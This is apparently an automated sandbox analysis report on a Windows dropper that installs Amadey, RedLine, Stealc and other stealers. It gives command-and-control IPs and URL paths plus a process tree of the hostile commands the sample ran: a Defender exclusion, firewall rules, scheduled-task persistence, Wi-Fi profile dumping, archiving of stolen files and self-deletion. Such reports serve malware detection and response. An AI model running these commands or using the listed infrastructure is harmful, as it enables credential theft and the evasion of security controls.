Analysis
-
max time kernel
64s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240221-en -
resource tags
-
submitted
28-03-2024 14:02
General
-
Target
c784540c28d57bcb35639df985ab1b5f07c41888d511b42d2595f6e81f020410.exe
-
Size
1.8MB
-
MD5
45d4b952be3e0144f2309c2b24f8d0f2
-
SHA1
6d4110ed7e909fac3f4bdb3f0548f9cc0526c0f0
-
SHA256
c784540c28d57bcb35639df985ab1b5f07c41888d511b42d2595f6e81f020410
-
SHA512
da8d18c5aeb230e6ce243515d2fc96b385bd8e0f9bb4f8faa0234b29d3ca46d5217c92bc640fc69d3ef24797c95d716de010f8dc7bcbde7ba8b37941bbfbbc6b
-
SSDEEP
49152:x3mb2Sl15Z5kq7dU1JChNKQVy/xmbEvumjvsfi:k6SJ8CN3hEWLf
Malware Config
Extracted
amadey
4.17
http://185.215.113.32
-
install_dir
00c07260dc
-
install_file
explorgu.exe
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Extracted
redline
LiveTraffic
4.185.137.132:1632
Extracted
redline
@OLEH_PSP
185.172.128.33:8970
Extracted
amadey
4.18
http://193.233.132.56
-
install_dir
09fd851a4f
-
install_file
explorha.exe
-
strings_key
443351145ece4966ded809641c77cfa8
-
url_paths
/Pneh2sXQk0/index.php
Extracted
stealc
http://185.172.128.209
-
url_path
/3cd2b41cbde8fc9c.php
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detect ZGRat V1 5 IoCs
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 3 IoCs
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
Stealc
Stealc is an infostealer written in C++.
-
UAC bypass 3 TTPs 1 IoCs
-
Windows security bypass 2 TTPs 2 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 3 IoCs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Executes dropped EXE 15 IoCs
-
Identifies Wine through registry keys 2 TTPs 5 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 3 IoCs
-
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 8 IoCs
Detects Themida, an advanced Windows software protection system.
-
UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Windows security modification 2 TTPs 3 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Windows directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 12 IoCs
-
Creates scheduled task(s) 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 34 IoCs
-
Suspicious use of AdjustPrivilegeToken 18 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c784540c28d57bcb35639df985ab1b5f07c41888d511b42d2595f6e81f020410.exe"C:\Users\Admin\AppData\Local\Temp\c784540c28d57bcb35639df985ab1b5f07c41888d511b42d2595f6e81f020410.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000837001\goldprimeldlldf.exe"C:\Users\Admin\AppData\Local\Temp\1000837001\goldprimeldlldf.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000873001\random.exe"C:\Users\Admin\AppData\Local\Temp\1000873001\random.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\181651180316_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe"C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Users\Admin\AppData\Local\Temp\1001022001\chckik.exe"C:\Users\Admin\AppData\Local\Temp\1001022001\chckik.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\1001031001\amadka.exe"C:\Users\Admin\AppData\Local\Temp\1001031001\amadka.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main4⤵
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main5⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\181651180316_Desktop.zip' -CompressionLevel Optimal6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main4⤵
-
C:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1001036001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe"C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe"C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1001048001\un300un.exe"C:\Users\Admin\AppData\Local\Temp\1001048001\un300un.exe"2⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1001048001\un300un.exe" -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\CTrBs1mCPgMVmP0k6nLw2mhV.exe"C:\Users\Admin\Pictures\CTrBs1mCPgMVmP0k6nLw2mhV.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\uus.0.exe"C:\Users\Admin\AppData\Local\Temp\uus.0.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IDGIJEGHDA.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\IDGIJEGHDA.exe"C:\Users\Admin\AppData\Local\Temp\IDGIJEGHDA.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\IDGIJEGHDA.exe8⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30009⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 536 -s 28846⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\uus.1.exe"C:\Users\Admin\AppData\Local\Temp\uus.1.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "6⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12517⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 15645⤵
- Program crash
-
C:\Users\Admin\Pictures\3Poqa2Eoxf6n42Mgz7ZGBi88.exe"C:\Users\Admin\Pictures\3Poqa2Eoxf6n42Mgz7ZGBi88.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2768 -s 11405⤵
- Program crash
-
C:\Users\Admin\Pictures\8fx0KfwGSPHGKhmYTtv9DzCz.exe"C:\Users\Admin\Pictures\8fx0KfwGSPHGKhmYTtv9DzCz.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\8fx0KfwGSPHGKhmYTtv9DzCz.exe"C:\Users\Admin\Pictures\8fx0KfwGSPHGKhmYTtv9DzCz.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\i9Fx9bdGC9oNL26ODzQP7mtP.exe"C:\Users\Admin\Pictures\i9Fx9bdGC9oNL26ODzQP7mtP.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\i9Fx9bdGC9oNL26ODzQP7mtP.exe"C:\Users\Admin\Pictures\i9Fx9bdGC9oNL26ODzQP7mtP.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\qOvzFoPTS4stLI5s7jH46H3k.exe"C:\Users\Admin\Pictures\qOvzFoPTS4stLI5s7jH46H3k.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\qOvzFoPTS4stLI5s7jH46H3k.exe"C:\Users\Admin\Pictures\qOvzFoPTS4stLI5s7jH46H3k.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\rgTnYqXnUAtYfO0tofE8BG4Q.exe"C:\Users\Admin\Pictures\rgTnYqXnUAtYfO0tofE8BG4Q.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 5486⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 5606⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3928 -s 8645⤵
- Program crash
-
C:\Users\Admin\Pictures\VaLVqOpn1rMsnULs1dTMiyTL.exe"C:\Users\Admin\Pictures\VaLVqOpn1rMsnULs1dTMiyTL.exe"4⤵
-
C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe"C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe" --silent --allusers=04⤵
-
C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exeC:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.33 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6b3be1a8,0x6b3be1b4,0x6b3be1c05⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\i5yzUpv7XxjM9zB5Zr5XWUtN.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\i5yzUpv7XxjM9zB5Zr5XWUtN.exe" --version5⤵
-
C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe"C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3248 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240328140352" --session-guid=322b3274-0c70-40ee-a3ca-519281671c1a --server-tracking-blob=M2Y2OTU5NTM3YTQ0ZmI0MGVmNjM4YTg2YWZlNTZkYmU4ODRlZTg2MjQ5ZGFmN2YyMzE4NGVkMDVlMjBiZWRiMTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTE2MzQ2MjAuNzQ5OCIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6ImEzMWFmMzhiLWM1ZGItNGQzMC04MzY2LTNjZGNiOTFlNzA1NSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=30050000000000005⤵
-
C:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exeC:\Users\Admin\Pictures\i5yzUpv7XxjM9zB5Zr5XWUtN.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.33 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x6aa3e1a8,0x6aa3e1b4,0x6aa3e1c06⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\installer.exe"C:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\installer.exe" --backend --initial-pid=3248 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --server-tracking-data=server_tracking_data --show-intro-overlay --package-dir="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521" --session-guid=322b3274-0c70-40ee-a3ca-519281671c1a --server-tracking-blob=M2Y2OTU5NTM3YTQ0ZmI0MGVmNjM4YTg2YWZlNTZkYmU4ODRlZTg2MjQ5ZGFmN2YyMzE4NGVkMDVlMjBiZWRiMTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTE2MzQ2MjAuNzQ5OCIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6ImEzMWFmMzhiLWM1ZGItNGQzMC04MzY2LTNjZGNiOTFlNzA1NSJ9 --silent --desktopshortcut=1 --install-subfolder=108.0.5067.406⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\installer.exeC:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\installer.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.40 --initial-client-data=0x2cc,0x2d0,0x2d4,0x2a8,0x2d8,0x7ffb28a1fa80,0x7ffb28a1fa8c,0x7ffb28a1fa987⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe" --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera\assistant" --copyonly=0 --allusers=07⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x580040,0x58004c,0x5800588⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --ran-launcher --install-extension="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\be76331b95dfc399cd776d2fc68021e0db03cc4f.crx"7⤵
-
C:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\108.0.5067.40\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.40 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x304,0x7ffb16238308,0x7ffb16238318,0x7ffb162383288⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe" --version5⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281403521\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x580040,0x58004c,0x5800586⤵
-
C:\Users\Admin\Pictures\geIZG2nvEBVZCOjFS2d2LmKV.exe"C:\Users\Admin\Pictures\geIZG2nvEBVZCOjFS2d2LmKV.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS7CDC.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS82C7.tmp\Install.exe.\Install.exe /YnGgdidyhQpz "385118" /S6⤵
-
